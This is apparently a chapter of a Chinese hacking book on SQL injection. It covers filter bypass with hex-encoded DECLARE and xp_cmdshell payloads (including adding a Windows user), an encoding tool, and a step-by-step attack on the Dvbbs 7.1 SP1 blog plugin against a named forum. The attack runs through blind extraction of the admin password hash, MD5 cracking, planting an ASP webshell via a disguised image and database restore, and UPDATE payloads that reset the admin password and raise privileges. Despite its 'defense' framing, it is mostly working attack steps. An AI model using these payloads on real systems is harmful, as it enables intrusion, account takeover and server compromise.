官术网_书友最值得收藏!

第3章 深入SQL注入攻擊與防范

SQL注入攻擊是一把入侵網(wǎng)站的利刃,無數(shù)的網(wǎng)站在SQL注入面前紛紛倒下。隨著SQL注入技術的發(fā)展,SQL注入技術越來越巧妙,各種靈巧的SQL注入攻擊方式不斷地涌現(xiàn)。同時,面對SQL注入攻擊這把無堅不摧的利刃,又該如何進行防范,如何打造足以抵抗SQL注入的堅盾呢?

3.1 一廂情愿的過濾,缺失單引號與空格的注入

在上一章的SQL腳本注入攻擊中,大部分的SQL注入語句中都是少不了單引號的,尤其是在字符型注入中,單引號起著至關重要的作用。因此,針對SQL注入的幾種ASP安全編碼防范方式,一種簡單而有效的方法就是單引號過濾法,將用戶輸入提交的數(shù)據(jù)進行檢驗,過濾其中的單引號。

通常這類過濾,是使用replace函數(shù),通過類似的過濾語句:

            replace(request("id"), "' ", "' ' ")

可將單引號轉成兩個單引號進行過濾,以致使用戶提交的數(shù)據(jù)在進行SQL語句查詢時出現(xiàn)語法錯誤。另外,也可以通過如下語句:

            replace(request("id"), "' ", "")

直接將單引號過濾為空格,對用戶輸入提交數(shù)據(jù)進行嚴格限制。

另外,由于構造SQL注入語句時,其中往往包含有空格,因此許多程序設計者也會考慮過濾掉用戶輸入中的空格,如下面的過濾語句:

            replace(request("id"), " ", "")

這條語句可以消去用戶提交數(shù)據(jù)中的所有空格,過濾掉危險的SQL注入語句。

上面的這幾種防御方法,可以導致正常的SQL注入失敗,然而程序設計者的考慮還是不周全的,這只是一個并不安全的注入半防御方法。

如果提交的參量兩邊并沒有被單引號封死,而僅依靠過濾用戶數(shù)據(jù)的單引號來防御SQL注入的話,那么惡意用戶很可能非法提交一些特殊的編碼字符,在提交時繞過網(wǎng)頁程序的字符過濾。這些編碼字符在經(jīng)過網(wǎng)站服務器的二次編碼后,就會重新生成轉換成為單引號或空格之類的字符,構成合法的SQL注入語句,完成攻擊。

3.1.1 轉換編碼,繞過程序過濾

這里,在使用SQL腳本注入檢測一個網(wǎng)站,網(wǎng)站鏈接為:http://www.****. com.cn/getpass.asp? id=2,使用單引號法進行檢測時,提交鏈接:

            http://www.****.com.cn/getpass.asp? id=2'

出現(xiàn)了如下所示的提示錯誤信息(見圖1):

            Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e14'
            …………字符串 ’' ' ’ 之前有未閉合的引號。…………

圖1 單引號被網(wǎng)頁程序替換成兩個單引號

從返回信息可知,網(wǎng)頁程序對單引號進行了過濾,替換成兩個單引號,因此導致返回錯誤信息中出現(xiàn)了雙單引號。

1.神奇的declare與OX6e編碼

如果利用SQL的xp_cmdshell在遠程主機上執(zhí)行命令時,語句將不能正常執(zhí)行。如提交如下語句:

            http://www.****.com.cn/getpass.asp? id=2; exec master.dbo.xp_
            cmdshell ' net user xiaoyao /add'

將會被轉換成如下錯誤語句:

            http://www.****.com.cn/getpass.asp? id=2; exec master.dbo.xp_
            cmdshell ' ' net user xiaoyao /add' '

在執(zhí)行xp_cmdshell命令時肯定是會出錯的。

現(xiàn)在,來嘗試提交如下攻擊語句:

            http://www.****.com.cn/getpass.asp? id=2; declare%20@a%20sysnam
            e%20select%20@a=0x6e006500740020007500730065007200200061006e00
            670065006c002000700061007300730020002f00610064006400%20exec%2
            0master.dbo.xp_cmdshell%20@a; --

網(wǎng)址提交后,卻沒有返回錯誤信息,因為在提交的SQL腳本注入語句中,并沒有包含任何單引號,因此就可以繞過單引號的過濾,成功地注入。

其實,這個奇怪的語句與上面的語句就是同一個語句,只不過進行了編碼轉換而已。表面上看起來兩個注入語句有很大的區(qū)別,但實質卻是完全一樣的。

在第二個語句中“a=0x6e0065007400200075007300……”,參數(shù)a后面的數(shù)字實際上是“net user xiaoyao /add”的16進制格式編碼。整個SQL語句是先聲明一個變量a,變量a可以是任何執(zhí)行的Windows命令。然后把添加用戶的指令賦值給a,再通過調用變量a最終執(zhí)行前面執(zhí)行的命令。

整條語句其實可以拆分為下面3個單句:

            declare @a sysname
            select @a=<要執(zhí)行的命令十六進制代碼>
            exec master.dbo.xp_cmdshell @a

由于SQL數(shù)據(jù)庫具有可執(zhí)行多句的特殊性,因此將3個語句組合后,就可以直接在注入點后進行提交了。因此,這種SQL腳本入侵技術,也僅限于使用SQL數(shù)據(jù)庫的注入點。

2.SQLInjectEncode二次編碼工具

有時候,網(wǎng)站程序的安全過濾非常嚴格,使用上面的Declare語句變形注入代碼后,依然不能成功。出現(xiàn)這種情況是因為網(wǎng)站程序對Declare等字符也進行了過濾,此時就要考慮進行二次編碼轉換了。

SQLInjectEncode(圖2)是一個SQL腳本注入攻擊工具,它可以自動地為用戶的SQL注入語句進行二次編碼合成,以避開網(wǎng)頁程序的單引號和空格過濾等,成功地注入網(wǎng)站程序。它利用的原理就是上面通過Declare聲明變量和0X6e編碼組合的方法,繞開單引號過濾進入注入攻擊。

圖2 SQLInjectEncode

另外,SQLInjectEncode注入工具可以替用戶自動地完成上面的語句轉換過程,同時還可以對上面語句中的declare等進行編碼轉換,躲過一些對“declare”也進行了過濾的網(wǎng)頁程序。

以對某SQL注入點進行攻擊檢測為例,該網(wǎng)站對單引號進行了過濾,注入的地址是:

            http://www.****.com.cn/news_view.asp? id=90164

運行SQLInjectEncode后,在界面上方是“原始地址URL”,在這里輸入要注入的地址(圖3)。假設要執(zhí)行的命令是:

            exec master.dbo.xp_cmdshell ' net user xiaoyao /add'

圖3 設置轉換攻擊參數(shù)

將要執(zhí)行的命令輸入下面的“SQL代碼”框中(圖3)。另外,程序允許多行編輯,如果要執(zhí)行多條SQL語句,可以在本地SQL服務器的客戶端程序“SQL查詢中”測試多行語句,通過后直接復制SQL代碼粘貼到工具中,程序在編碼的過程中會自動消去換行符號。

在輸入的URL地址下方有幾個選項,這也注入成功與否有著非常關鍵的聯(lián)系。

其中“需要單引號”復選框,主要用來設置完善SQL注入語句。有的網(wǎng)頁程序在注入時,需要在參數(shù)變量后加入一個單引號,以顯示注入后的反饋信息。此類注入點在進行and 1=1測試時,如果提交測試為:

            http://www.****.com.cn/news_view.asp? id=90164 and 1=1

不能成功,而提交測試形式為:

            http://www.****.com.cn/news_view.asp? id=90164' and '1' =1

能夠返回正常信息,則說明屬于“需要單引號”的類型,那么就必須勾選此復選框。

“需要--或/*收尾”復選框只是用來選擇隔斷符的,在SQL注入代碼的最后加入收尾隔斷符,以屏蔽腳本后面的代碼,這樣可以保證SQL注入代碼語句的完整正常。通常一般采用“--”收尾。

“/**/代替空格”復選框表示,將所有的空格都用“/**/”注釋來代替,主要用于前面所提及的情況中,網(wǎng)頁程序將空格過濾后,就可選擇該項。勾選“自動放入剪貼板”復選框后,生成的注入語句會自動剪貼板中,以方便粘貼到瀏覽器地址欄中執(zhí)行。

設置完畢后單擊【編碼】按鈕,軟件便會將代碼自動合成為十六進制代碼,在“合成后的URL”框中顯示并自動復制入剪貼板中(圖4)。

圖4 轉換編碼成功

如下面的注入語句,在經(jīng)過轉換后,其提交的編碼網(wǎng)址如下:

            http://www.****.com.cn/news_view.asp? id=90164%20%64%65%63%6
            C%61%72%65%20%40%5A%20%76%61%72%63%68%61%72%28%38%30%30%30%2
            9%20%73%65%74%20%40%5A%3D%30%78%36%35%37%38%36%35%36%33%32%3
            0%36%44%36%31%37%33%37%34%36%35%37%32%32%45%36%34%36%32%36%4
            6%32%45%37%38%37%30%35%46%36%33%36%44%36%34%37%33%36%38%36%3
            5%36%43%36%43%32%30%32%37%36%45%36%35%37%34%32%30%37%35%37%3
            3%36%35%37%32%32%30%37%38%36%39%36%31%36%46%37%39%36%31%36%4
            6%32%30%32%46%36%31%36%34%36%34%32%37%20%65%78%65%63%75%74%6
            5%28%40%5a%29%2d%2d

可以看合成后的SQL注入指令,與前面的略有不同,這是由于程序對“declare”等字符也進行了重編碼,以更安全可靠地躲過網(wǎng)頁程序的過濾。

直接提交上面的注入代碼,回車后,就可以看到原本過濾了單引號的網(wǎng)站程序,現(xiàn)在已經(jīng)順利地執(zhí)行了SQL注入語句了。

3.1.2 /**/替換空格的注入攻擊

千里之堤毀于蟻穴,一些不被人注意的小插件、小功能,常常也導致堅固的論壇變得不堪一擊。動網(wǎng)7.1版本就曾因為集成的博客功能出現(xiàn)過一次SQL注入漏洞,導致攻擊者攻擊控制整個服務器,危害十分嚴重。

動網(wǎng)7.1SP1版的功能十分強大,安全性也非常好。由于網(wǎng)絡上博客非常流行,出于功能完備,動網(wǎng)7.1SP1中也新開發(fā)出了一個博客功能的插件。博客的界面做得很清新樸實,功能非常不錯,但是它的安全性卻不是很好。在博客程序的“Cls_main.asp”文件中,由于對參數(shù)“Arvchivelink”過濾得不是很好,導致“boke.asp”文件在調用時存在著注入漏洞。惡意的攻擊者可以利用該漏洞入侵論壇,并控制整個服務器。

1.漏洞代碼分析

打開動網(wǎng)7.1SP1版博客程序網(wǎng)頁文件“boke.asp”,可以看到顯示博客頻道文件的代碼如下:

            Function ShowDispList(TopicID, Page)
            Dim PageHtml, TempHtml, Temp
            Dim Rs, Sql, SqlStr
            Dim MaxRows, Endpage, CountNum, PageSearch
            Endpage = 0
            MaxRows = DvBoke.BokeSetting(8)
            'Page = Request("Page")
            If IsNumeric(Page) = 0 or Page="" Then Page=1
            Page = Clng(Page)
            'If Ubound(DvBoke.ArchiveLink) = 4 Then
            '   SqlStr = DvBoke.CheckNumeric(Replace(Lcase(DvBoke.Archive
            Link(3)), ".html", ""))
            '   SqlStr = " And (ParentID = 0 Or PostID = " & SqlStr & ")"
            'End If
            'PostID=0 , CatID=1 , sCatID=2 , ParentID=3 , RootID=4 , UserID=5 ,
            UserName=6 , Title=7 , Content=8 , JoinTime=9 , IP=10 , sType=11
            Sql = "Select PostID, CatID, sCatID, ParentID, RootID, UserID, User
            Name, Title, Content, JoinTime, IP, sType From [Dv_Boke_Post] Where
             RootID="&TopicID&" "&SqlStr&" order by PostID "
            …………代碼省略………………
            End Function

可以看到其中有一個非常重要的參數(shù)變量“ArchiveLink(3)”,該參數(shù)是用于傳遞收藏鏈接的,被代入了下面的語句中進行查詢(見圖5):

            Sql = "Select PostID, CatID, sCatID, ParentID, RootID, UserID, User
            Name, Title, Content, JoinTime, IP, sType From [Dv_Boke_Post]
            Where RootID="&TopicID&" "&SqlStr&" order by PostID "

圖5 ArchiveLink參數(shù)被代入SQL查詢

ArchiveLink參數(shù)是通過“boke”目錄下的“Cls_Main.asp”文件函數(shù)傳遞的,在該文件中可以看到如下參數(shù)傳遞代碼:

            Private Sub Class_Initialize()
                ……………………代碼省略………………………………
                'Skins_Path = "Boke/Skins/default/"
                Cache_Path = "Boke/CacheFile/"
                Dim Tmpstr
                Tmpstr = Request.ServerVariables("PATH_INFO")
                Tmpstr = Split(Tmpstr, "/")
                ScriptName = Lcase(Tmpstr(UBound(Tmpstr)))
                UserSex = 1
                If Is_Isapi_Rewrite = 0 Then ModHtmlLinked = "? "
                ArchiveLink = Lcase(Request.ServerVariables("QUERY_STRING"))
                If ArchiveLink <> "" Then
                    ArchiveLink = Split(ArchiveLink, ".")
                    If Instr(Lcase(ArchiveLink(0)), "show_")=0 Then BokeName
             = Replace(ArchiveLink(0), ".html", "")
                Else
                    ReDim ArchiveLink(5)
                End If
                If Lcase(InStr(Request.ServerVariables("QUERY_STRING"), ".
            html")) = 0 And Lcase(InStr(Request.ServerVariables("QUERY
            _STRING"), ".xml")) = 0 Then BokeName = Checkstr(Request("User
            "))
                Set MyBoardOnline=new Cls_UserOnlne
                Dvbbs.GetForum_Setting
                Dvbbs.CheckUserLogin
                ……………………代碼省略………………………………
                If Instr(Lcase(ArchiveLink(0)), "userid_") and IsNumeric
            (Replace(Lcase(ArchiveLink(0)), "userid_", "")) Then
                    BokeUserID = cCur(Replace(Lcase(ArchiveLink(0)), "userid
            _", ""))
                    BokeName = ""
                ……………………代碼省略………………………………
            End Sub

這段代碼是用于定義了一個Class_Initialize()過程,用于獲取博客的分欄類型等。在其中可以看到一個很重要的參數(shù)“ArchiveLink”,該參數(shù)是用來傳遞收藏鏈接的,此參數(shù)的獲取代碼為如下語句(圖6):

            ArchiveLink = Lcase(Request.ServerVariables("QUERY_STRING"))
            If ArchiveLink <> "" Then
                ArchiveLink = Split(ArchiveLink, ".")
                If Instr(Lcase(ArchiveLink(0)), "show_")=0 Then BokeName =
             Replace(ArchiveLink(0), ".html", "")
            Else
                ReDim ArchiveLink(5)
            End If

圖6 ArchiveLink變量代碼

從上面的代碼中可以知道,ArchiveLink中可提取出BokeName的值。很顯然,ArchiveLink變量并沒有經(jīng)過嚴格的過濾,就被傳遞帶入了Boke.asp文件中,因此也給BokieName帶來了危險。因為,在圖6頁面下面205行處,可以看到如下代碼段:

            Dim Sql, Rs
                    Sql = "Select UserID, UserName, NickName, BokeName, Pass
            Word, BokeTitle, BokeChildTitle, BokeNote, JoinBokeTime, PageView,
            TopicNum, FavNum, PhotoNum, PostNum, TodayNum, Trackbacks, SpaceSize,
            XmlData, SysCatID, BokeSetting, LastUpTime, SkinID, Stats, S.S_
            SkinName, S.S_Path, S.S_ViewPic, S.S_Info, S.S_Builder From [Dv_Boke_
            User] U Inner Join [Dv_Boke_Skins] S On U.SkinID = S.S_ID"
                    Sql = Lcase(Sql)
                    If BokeName<>"" Then
                        Sql = Sql & " where BokeName = ' "&BokeName&"' "
                    ElseIf BokeUserID>0 Then
                        Sql = Sql & " where UserID = "&BokeUserID
                    Else
                        '請選取相關的DVBOKE,返回綜合列表
                        Exit Sub
                    End If

可知,BokieName被直接帶入了SQL查詢語句中(圖7), BokieName變量沒有經(jīng)過任何過濾,而BokieName本身又是從ArchiveLink傳遞而來的,因此造成了SQL注入漏洞。

圖7 BokieName參數(shù)直接進行SQL查詢

2.出錯信息判斷數(shù)據(jù)庫類型

動網(wǎng)7.1SP1有兩個版本:Access版和SQL版,這兩個版本中都存在著博客插件,同時存在著這個博客注入漏洞,危害十分大。

打開百度或Google搜索引擎,在其中輸入關鍵詞“Powered By Dvbbs Version 7.1.0 Sp1”進行搜索,可以找到大量使用動網(wǎng)7.1SP1版本的論壇。不過打開搜索到的論壇頁面時,若未注冊登錄,則看不到首頁上的“博客”插件(圖8),可以在論壇網(wǎng)址后加上“boke.asp”測試博客功能是否開放。

圖8 博客插件無法直接查看

以某論壇為例(http://www.binghexijian.com.cn/),將地址欄中的地址改為:

            http://www.binghexijian.com.cn/boke.asp

如果彈出錯誤提示信息,則說明該論壇是存在博客網(wǎng)頁(圖9)。

“該博客用戶不存在或填寫的資料有誤!您可以 申請博客 或 登錄論壇”

圖9 漏洞文件存在

另外,由于現(xiàn)在許多網(wǎng)站管理員的安全意識有所提高了,可能會將動網(wǎng)論壇首頁的版權標識修改掉,無法搜索到這樣的論壇,因此也可以通過關鍵詞“Power by iBoker V1.0.0”進行搜索,可以直接找到論壇的博客頁面。

一般來說,如果是SQL版的動網(wǎng)7.1論壇,在頁面下方的版權信息中會顯示“Powered By Dvbbs Version 7.1.0 Sp1 SQL版”的提示。另外,Access版和SQL版的區(qū)別,可以查看管理員登錄首頁,上面有數(shù)據(jù)庫版本的標識(圖10)。

圖10 登錄頁面

也可以打開論壇的博客頁面,單擊打開任意一個用戶的博客首頁,通過注入返回的提示信息進行判斷。

這里以某論壇“http://www.binghexijian.com.cn/”為例,進行入侵測試。打開論壇博客列表:

            http://www.binghexijian.com.cn/bokeindex.asp? show_user.html

顯示當前所有的博客信息(圖11)。單擊任意打開其中某個名為“冰河洗劍的博客”,其鏈接為:

            http://www.binghexijian.com.cn/boke.asp? binghexijian.index.
            html

圖11 博客用戶列表

將IE瀏覽器地址欄中的鏈接改為:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and '1
            '='1.index.html

回車后如果返回的錯誤提示信息是:

            Microsoft OLE DB Provider for SQL Server 錯誤 ’80040e14'

則說明該論壇是SQL版的(圖12);如果返回的信息為“Microsoft JET Database Engine錯誤 ’80040e14' ”則為Access版(圖13)。

圖12 SQL版返回信息

圖13 Access版返回信息

3.強行破解管理員密碼

獲得數(shù)據(jù)庫類型后,就可以開始進行SQL注入檢測了。這里先以Access版數(shù)據(jù)庫攻擊檢測為例。

1)獲取管理員用戶名

首先,在攻擊前需要確定論壇的管理員用戶名。

未注冊的用戶可以查看到論壇各版區(qū)的版主,但是卻不知道哪個是管理員。因此需要先在攻擊目標論壇注冊一個用戶名并登錄,然后單擊頁面中的“用戶列表”,打開用戶列表頁面后,在用戶搜索中將搜索范圍設置為“管理團隊”,這樣就可以看到論壇管理員用戶名了(圖14)。例如,這里可以看到管理員用戶名為“admin”。

圖14 獲取管理員用戶名

另外,直接進入到論壇的博客頁面,單擊頁面中的“博客索引”(圖15):

http://www.binghexijian.com.cn/bokeindex.asp? show_user.html

圖15 管理員的博客

隨后顯示當前所有的博客信息,在其中找到最早注冊的博客,如這里“創(chuàng)建時間”最早的博客名字為“木木,一個人的世界”,單擊后在打開的新窗口中可以看到博客鏈接為如下:

            http://www.binghexijian.com.cn/boke.asp? binghexijian.index.html

鏈接中“index.html”前的“binghexijian”就是管理員用戶名了。

2)猜解密碼

在前面檢測數(shù)據(jù)庫類型時,提交了一個檢測語句:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and '1
            '='1.index.html

返回了語法錯誤的信息,很顯然利用了前面分析的漏洞所以返回了錯誤信息。這里采用正常的方式and 1=1和and 1=2方式來進行檢測,先提交如下鏈接:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'1' =
            '1.html

請注意,這里與上面不同,SQL語句中沒有空格。可以看到語句提交后,正常地返回了用戶的博客頁面(圖16)。

圖16 and 1=1

再提交如下語句進行檢測:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'1' =
            '2.html

返回信息出錯,自動跳轉到了錯誤信息頁面(圖17)。

圖17 and 1=2

從上面兩個頁面對比判斷,可知此處存在著明顯的SQL注入漏洞。通過構造SQL注入語句,是可以猜解出管理員用戶密碼的。最簡單的方法,就是提交如下語句進行查詢:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'0' =
            left(password,1)and' ' =' .html

該語句可直接查詢管理員用戶密碼(password)中的第一位密碼是否為“0”,返回了錯誤信息。因此繼續(xù)進行猜測,提交如下:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'1' =
            left(password,1)and' ' =' .html

該語句可直接查詢管理員用戶密碼(password)中的第一位密碼是否為“1”,也返回了錯誤信息,繼續(xù)更改密碼,提交:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'2' =
            left(password,1)and' ' =' .html
            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'3' =
            left(password,1)and' ' =' .html

直接到提交如下鏈接,打開頁面見圖18:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'4' =
            left(password,1)and' ' =' .html

圖18 猜解出第1位密碼字符為4

然后返回了正常的頁面,說明用戶密碼第一位為“4”。再繼續(xù)猜第2位密碼字符,提交語句如下:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'40'
            =left(password,2)and' ' =' .html

該語句用于查詢密碼的前兩位是否為“40”,返回了錯誤頁面,因此注意,這里要保留第1位字符在查詢字段中。然后將“40”改為“41”、“42”、“43”,繼續(xù)進行提交,直到返回正常頁面。這里提交到“46”,鏈接如下:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'46'
            =left(password,2)and' ' =' .html

返回了正常的頁面,說明第二位字符為“6”。再繼續(xù)提交查詢第三位密碼,查詢鏈接為:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'460
            '=left(password,4)and' ' =' .html

同樣,修改提交的數(shù)字“460”為“461”、“462”……,但是一直提交到“469”,返回正常的頁面,說明第三位字符為“9”。再繼續(xù)提交查詢第四位密碼,查詢鏈接為:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'469
            0' =left(password,4)and' ' =' .html

同樣,修改提交的數(shù)字“4690”為“4691”、“4692”……,但是一直提交到“4699”,也沒有返回正常信息,則說明第四位字符不是數(shù)字,而是字母(圖19)。因此修改提交鏈接:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'469
            a' =left(password,4)and' ' =' .html

此鏈接猜測第四位字符是否為字母“a”,修改“469a”為“469b”、“469c”、“469d”……一直到返回正常信息,即可確定第四位字符是哪一個字母。這里提交到:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' and'469
            e' =left(password,4)and' ' =' .html

返回了正常的頁面,說明第四位字符為“e”。用同樣的方法繼續(xù)進行猜解第五位字符、第六位字符,直到第16位字符方可終止。因為密碼是經(jīng)過16位MD5加密的,所以必須猜解到16位字符。

圖19 第4位字符為字母e

不過Access注入時手工猜解密碼非常慢,這里借助一個自動攻擊工具進行檢測演示。

運行動網(wǎng)論壇7.1博客程序注入漏洞利用工具“dv_boke.exe”,在“地址”框中輸入論壇博客程序的漏洞文件,一般為“http://論壇地址/booke.asp”,這里為“http://www.binghexijian.com.cn/boke.asp”;在下面的“用戶名”中輸入管理員的博客用戶名,注意,不是輸入管理員用戶名。例如,這里管理員用戶名為“admin”,其博客用戶名為“binghexijian”,那么需要輸入的是“binghexijian”(圖20)。

圖20 動網(wǎng)論壇7.1博客程序注入漏洞利用工具

設置完畢后,單擊【開始】按鈕,彈出信息提示框“嘗試獲取密碼,請耐心等待”。單擊【確定】按鈕后,程序就會開始自動破解管理員的密碼了(圖21)。過幾分鐘后,在下方的“結果”中就會顯示出該管理員的用戶密碼了。

圖21 管理員用戶密碼破解過程中

3)破解用戶密碼明文

破解得到的用戶密碼“469e80d32c0559f8”(圖22),是經(jīng)過16位MD5算法加密的,因此需要進行破解還原為密碼明文。MD5加密方式采用了一種很復雜的加密算法,還原MD5密碼比較困難,可以使用一些專門的MD5密碼破解工具,如“Dv.exe”、“MD59”等。

圖22 管理員MD5密碼

(1)小巧強悍的DV

dv這個小工具可以在幾秒之內就破解出8位數(shù)以內的純字母和數(shù)字。工具運行在命令模式下,使用方法很簡單,輸入“dv.exe /? ”可以看到命令的運行格式(圖23):

            dv -p <pwfile>  -w <wordlist>— -b -o <outfile>

其中各參數(shù)的代表意義如下:

            -p <pwfile>   指定從此文件讀取md5的散列和用戶名;
            -w <wordlist>  表未從此文件讀取字典來破解;
            -o <outfile>   用于指定存放最后得到的密碼和用戶名的文件名;
            -b [num]—[char]暴力破解,num代表8位數(shù)字破解,char代表8位字符破解。

圖23 DV破解工具

記事本創(chuàng)建一個名為“passfile.txt”的文本文件,按文件格式為“MD5密碼 用戶名”,將管理員用戶名和密碼粘貼在其中。再準備一個字典文件“password.txt”,在窗口中執(zhí)行如下命令:

            dv -p passfile.txt -w password.txt -o c:\final.txt

命令執(zhí)行后,如果順利,不出5分鐘,被破譯還原出來的明文密碼就將保存在“c:\final.txt”文件中。

(2)強力暴力破解密碼

相對DV的破解速度,MD59顯得要慢一些,但是它可以破解包括字母、數(shù)字、特殊字符的各種混合密碼,比DV的功能要全得多。

運行程序后,在“加密密碼”中輸入要要破解的加密密文“469e80d32c0559f8”。然后單擊【字典還原】按鈕,首先使用自帶的字典進行破解,如果找不到正確密碼就會打開暴力破解程序(圖24)。

在“密碼選項”中勾選“窮舉模式”,并設置要破解密碼位數(shù)及密碼中包含的字符類型,可設置為純數(shù)字或純字符破解,也可以設置成混合字符破解,單擊【開始】按鈕即可開始暴力破解密碼。如果勾選“字典模式”,并選擇相應的字典文件后,可以使用字典方式進行破解。

(3)網(wǎng)站破解

網(wǎng)上有一些專門用于破解MD5密碼的網(wǎng)站,這些網(wǎng)站收集了大量的MD5密碼散列,如果密文包含在收集的散列數(shù)據(jù)庫中的話,很快就可以還原出密碼明文。

圖24 MD5暴力破解程序

以XMD5網(wǎng)站(“http://xmd5.org/index_en.htm”)為例,在中間的輸入框中粘貼入剛才的16位密文,單擊【query】按鈕,很快就可以得到查詢結果了(圖25)。

圖25 在線破解MD5密碼很快速

4)登錄后臺上傳ASP木馬

如果成功地破解了管理員的密碼后,就可以登錄網(wǎng)站后臺上傳ASP木馬了。

上傳方法很簡單,首先在前臺發(fā)一張?zhí)樱谔觾热葜羞x擇上傳圖片。需要準備一個ASP木馬后門程序,這里使用的是“桂林老兵asp站長助手6.0”,將程序文件“dbm6.asp”改名為圖片格式“dbm6.jpg”,然后在帖子中進行上傳(圖26)。

圖26 上傳ASP木馬

上傳成功后,在帖子內容輸入框中會顯示上傳后的圖片路徑及文件名,這里為“UploadFile/2006-4/200641220164989411.jpg”。

用管理員身份登錄后,單擊論壇頁面中的“管理”鏈接,進入后臺管理頁面。在左側邊欄中單擊“數(shù)據(jù)處理”→“恢復數(shù)據(jù)庫”,在右側頁面中就可以通過數(shù)據(jù)庫恢復功能將圖片文件還原成ASP木馬了。

首先在“備份數(shù)據(jù)庫路徑”中輸入剛才上傳的假圖片的地址,這里因為是相對路徑,所以為“../UploadFile/2006-4/200641220164989411.jpg”;在“目標數(shù)據(jù)庫路徑”中輸入要生成的ASP木馬文件名,注意后綴一定要為.a(chǎn)sp,這里是“../Databackup/dbm6.asp”(圖27)。

圖27 設置數(shù)據(jù)庫恢復信息

設置完畢后,單擊【確定】按鈕完成數(shù)據(jù)庫備份操作,生成了一個ASP木馬了,路徑為“http://www.binghexijian.com.cn/Databackup/dbm6.asp”。

在IE瀏覽器地址欄中輸入ASP木馬地址,打開后就可以得到一個Webshell,如果權限足夠的話,就可以進一步控制整個網(wǎng)站服務器了。

4.Update更新管理員密碼

對于SQL版的動網(wǎng)漏洞論壇,借助SQL數(shù)據(jù)庫的強大功能,進行注入攻擊是非常簡單的方法。當然,也可以用與Access相同的方法直接進行猜解,但在這里,使用SQL查詢中的Update語句進行管理員密碼顯示和修改。

首先,在論壇注冊一個用戶名為“xiaoyao”的用戶,注冊時記住輸入自己的Email地址信息為“test@test.com”。注冊成功后,打開用戶資料設置頁面,可查看到Email等注冊信息。這里可以看到Email地址信息顯示為“test@test.com”(圖28)。

圖28 注冊時的Email信息

現(xiàn)在我們的目的是將管理員的密碼顯示在xiaoyao用戶的Email地址信息中,因此構造如下查詢語句:

            Update Dv_User set UserEmail=(select Password from Dv_admin
            where Username=' admin' ) where UserName=' xiaoyao'

但是,由于程序中已經(jīng)過濾了用戶提交數(shù)據(jù)中的空格,因此上面的語句去掉空格后是無法執(zhí)行的,需要進行轉換。在這里,可使用/**/代替空格進行查詢。語句可轉換為如下:

            update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/
            **/Dv_admin/**/where[Username]=' admin' )/**/where[UserName]=
            'xiaoyao'

因此,現(xiàn)在打開另一個IE窗口,在其中提交如下語句:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' ; Update
             Dv_User set UserEmail=(select Password from Dv_admin where U
            sername=' admin' ) where UserName=' xiaoyao' ; --.index.html

該語句的作用是,將用戶表“Dv_User”中用戶名為“xiaoyao”的“UserEmail”數(shù)據(jù)更新,其更新值為用戶表“Dv_User”中用戶名為“admin”的密碼。也就是說,用戶名為“xiaoyao”的Email信息被改成了“admin”用戶的密碼。在這里“admin”是管理員的用戶名,可根據(jù)具體入侵檢測時的論壇管理員用戶名進行修改。

提交上面的語句后,返回信息正常,現(xiàn)在刷新剛才的注冊用戶聯(lián)系資料頁面,可以看到Email地址信息發(fā)生了變化。現(xiàn)在Email地址信息中顯示了字符串“469e80d32c0559f8”。

圖29 查詢返回管理員密碼

另外,動網(wǎng)版本不一樣,上面的語句有可能會因為含有單引號而被過濾出錯,因此可參照前面提到的方法進行二次編碼轉換。要執(zhí)行的語句:

            Update Dv_User set UserEmail=(select Password from Dv_admin
            where Username=' admin' ) where UserName=' xiaoyao'

可以轉換成為如下語句:

            DECLARE @S VARCHAR(4000); SET @S=CAST(0x5570646174652044765F5
            5736572207365742055736572456D61696C3D2873656C656374205061737
            3776F72642066726F6D2044765F61646D696E20776865726520557365726
            E616D653D2761646D696E272920776865726520557365724E616D653D277
            869616F79616F270D0A AS VARCHAR(4000)); EXEC(@S); --

再用/**/代替其中的空格,就變?yōu)榱耍?/p>

            DECLARE/**/@S/**/VARCHAR(4000); SET/**/@S=CAST(0x557064617465
            2044765F55736572207365742055736572456D61696C3D2873656C656374
            2050617373776F72642066726F6D2044765F61646D696E2077686572652055
            7365726E616D653D2761646D696E272920776865726520557365724E616D65
            3D277869616F79616F270D0A/**/ AS/**/VARCHAR(4000)); EXEC(@S); --

于是,提交如下語句即可:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' ; DECLAR
            E/**/@S/**/VARCHAR(4000); SET/**/@S=CAST(0x557064617465204476
            5F55736572207365742055736572456D61696C3D2873656C656374205061
            7373776F72642066726F6D2044765F61646D696E20776865726520557365
            726E616D653D2761646D696E272920776865726520557365724E616D653D
            277869616F79616F270D0A/**/ AS/**/VARCHAR(4000)); EXEC(@S); --

查詢到管理員的密碼后,就可對管理員的密碼進行破解。不過破解也同樣是很麻煩的,這里可使用SQL查詢直接更新管理員的密碼。修改管理員密碼的語句如下:

            Update Dv_User set UserPassword='49ba59abbe56e057' where User
            Name=' admin'

該語句可將管理員密碼修改為“49ba59abbe56e057”,也就是123456的MD5加密密文。同樣需要加入“/**/”躲過空格的過濾:

            Update/**/Dv_User/**/set/**/UserPassword='49ba59abbe56e057' /
            **/where/**/UserName=' admin'

因此提交如下語句:

            http://www.binghexijian.com.cn/boke.asp? binghexijian' ; Updat
            e/**/Dv_User/**/set/**/UserPassword='49ba59abbe56e057' /**/where
            /**/UserName=' admin' ; --

即可將管理員admin的用戶名修改為“123456”了。

另外,也可以直接提升自己的權限,如提升權限的SQL語句為:

            update [Dv_User] set UserGroupID=1 where username=' xiaoyao'

用同樣的方法轉換提交后,即可將用戶xiaoyao提升為前臺管理員。提升為后臺管理員的命令為:

            insert into dv_admin (username, [password], flag, adduser) values
